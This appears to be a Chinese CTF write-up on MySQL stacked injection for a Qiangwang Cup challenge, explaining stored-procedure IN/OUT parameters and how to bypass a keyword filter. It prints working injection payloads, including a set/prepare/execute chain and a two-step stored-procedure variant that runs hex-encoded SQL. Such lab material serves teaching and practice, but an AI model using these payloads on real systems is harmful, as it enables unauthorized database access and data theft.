zoukankan      html  css  js  c++  java
  • 浅析mysql存储过程

    去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这个题目有一个很认真的分析,因此这里总结一下这个题目的出题用意和原本的预期做法:

    1.png

    堆叠注入

    Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。代码中和一般查询不同的是,使用了multi_query函数

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    源码分析

    <?php
    $inject = $_GET['inject'] ?? false;
    if ($inject) {
    $preg_match = 'return preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|./i", $inject);';
    if (eval($preg_match)) {
    echo "您输入了敏感字符!";
    exit();
    }
    if(stristr($inject, "set") && stristr($inject, "prepare")){
    echo "请不要同时输入set和prepare";
    exit();
    }

    当时的强网杯似乎在stristr这个函数上漏写了i导致大家用大小写绕过,但是没事这个不是重点(逃)

    这里过滤了很多查询关键字,比如select,比如盲注用的函数,基本上是没有办法的,但是这里是堆叠注入,就给了我们以执行多条sql语句的机会。

    很多同学自然就想到了set+prepare的预处理语句,但是这里规定了不能够同时输入set和prepaere,又被堵死了,但是mysql还有一个可以让语句分开执行且达到等同于一起执行的效果,这里介绍一下正解,mysql的存储过程。

    存储过程

    存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。

    存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。

    存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。类比面向对象编程的类。说白了,存储过程就是具有名字的一段代码,用来完成一个特定的功能。

    大家看下面这个很熟悉的例子,这个例子在网络上是教程范例,给大家熟悉一下。无非就是in和out。

    create 存储过程,然后call调用。

    鉴于很多人不太理解这个in和out的区别,我们再简单提一提。

    in——传入参数(只索取,不给予)

    调用者可以给"过程"一个值,但是过程不会把这个值返回给你。

    比如:

    mysql> delimiter $$
    mysql> set @p_in=1;
    mysql> create procedure in_param(in p_in int)
        -> begin
        ->   select p_in;
        ->   set p_in=2;
        ->    select p_in;
        -> end$$
    mysql> delimiter ;
    mysql> call in_param(@p_in);
    +------+
    | p_in |
    +------+
    |    1 |
    +------+
    1 row in set (0.00 sec)
    
    #因为这里先set了p_in=1,所以存储过程里select p_in的值为1
    
    +------+
    | p_in |
    +------+
    |    2 |
    +------+
    1 row in set (0.00 sec)
    
    #然后set p_in=2,所以存储过程里第二个select p_in的值为2
    
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> select @ p_in;
    +------+
    | p_in |
    +------+
    | NULL |
    +------+
    1 row in set (0.00 sec)
    #存储过程执行完,他不会把这个值调用者,调用者在过程外是不能够使用这个变化后的值的

    in参数就是只能输入,不能够输出,执行完过程,in参数是不会改变的。

    out——传出参数(不索取,只给予)

    mysql> delimiter //
    mysql> create procedure out_param(out p_out int)
        ->   begin
        ->     select p_out;
        ->     set p_out=2;
        ->     select p_out;
        ->   end
        -> //
    mysql> delimiter ;
    mysql> set @p_out=1;
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> call out_param(@p_out);
    +-------+
    | p_out |
    +-------+
    |  NULL |
    +-------+
    1 row in set (0.00 sec)
    
    +-------+
    | p_out |
    +-------+
    |     2 |
    +-------+
    1 row in set (0.00 sec)
    
    Query OK, 0 rows affected (0.00 sec)

    out这个参数刚好就是反过来,调用者无论怎么给参数赋初始值,"过程"里都是当作空值开始处理,然后将处理好的值返回给调用者。

    分离预处理语句

    好了说了这么多,我们还是要结合题目来看看,题目这里明显是要用预处理set 和 prepare来做,但是不能够同时输入。经过上面的讲解,我们可以想到,虽然set和prepare不能够同时输入,但是我只要把set给封装到一个"过程"中去,是不是就可以利用存储过程来代替set呢?

    再理一遍大家很熟悉的set preare的注入poc怎么写:

    114514';set @string = hex;prepare stmt from @string;EXECUTE stmt;#

    这个地方的string就是我们要执行的sql语句的16进制表示,stmt则是预处理语句的别名。

    然后我们把他分为两个部分:

    set @string = hex;

    prepare stmt from @string;EXECUTE stmt;

    首先我们需要创建一个将set包含进去的存储过程,然后分析输入和输出参数:

    • in参数是sql注入语句的16进制,因为需要绕过敏感字符过滤,并且我们需要输入这个hex给过程拿去利用;

    • out参数则是我们的set里的@string——预处理语句,在"过程"中赋值好以后,拿出来给我们的prepare使用。

    因此我们的poc可以这么写:下面的uuid代表php代码生成的随机数。第一次输入存储过程的定义:

    114514';
        create procedure `{$uuid}`(out string text(1024), in hex text(1024))
        BEGIN
            SET string = hex;
        END;
        ;--
    

    第二次用call调用这个存储过程(@decoded其实就是传参,传到上一个poc的string位置,为了和string区分开,就用了另一个名词):

    114514';
        call `{$uuid}`(@decoded, 0x{$sql});
        prepare payload from @decoded;
        execute payload;
        ;--
    
    

    之后就会正常的执行set+prepare的注入了。

    总结

    其实大家如果实在不清楚这个in和out,可以使用inout来代替,inout参数是既可以输入,又可以输出。

    说白了存储过程就是sql语句里的函数,可以封装代码,所以比赛中如果遇到了不能一起使用的关键字,可以尝试着使用存储过程将其分割开。

     

    点击链接做实验了~绕过UNION&SELECT过滤(针对于过滤,我们要善用编码,来绕过关键字过滤。本实验主要介绍绕过UNION&SELECT过滤的技巧。)

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    MyBatis Generator 的使用
    Eclipse插件手动安装
    MyBatis中别名的设置
    MyBatis 插入时返回自增主键
    MyBatis 模糊查询
    MyBatis 多个查询条件的传递
    MyBatis 的Mapper中有小于号的处理
    spring mvc rest 方式
    jackson
    中兴阅读:你的移动阅读解决专家,助纸媒们一臂之力
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15117828.html
Copyright © 2011-2022 走看看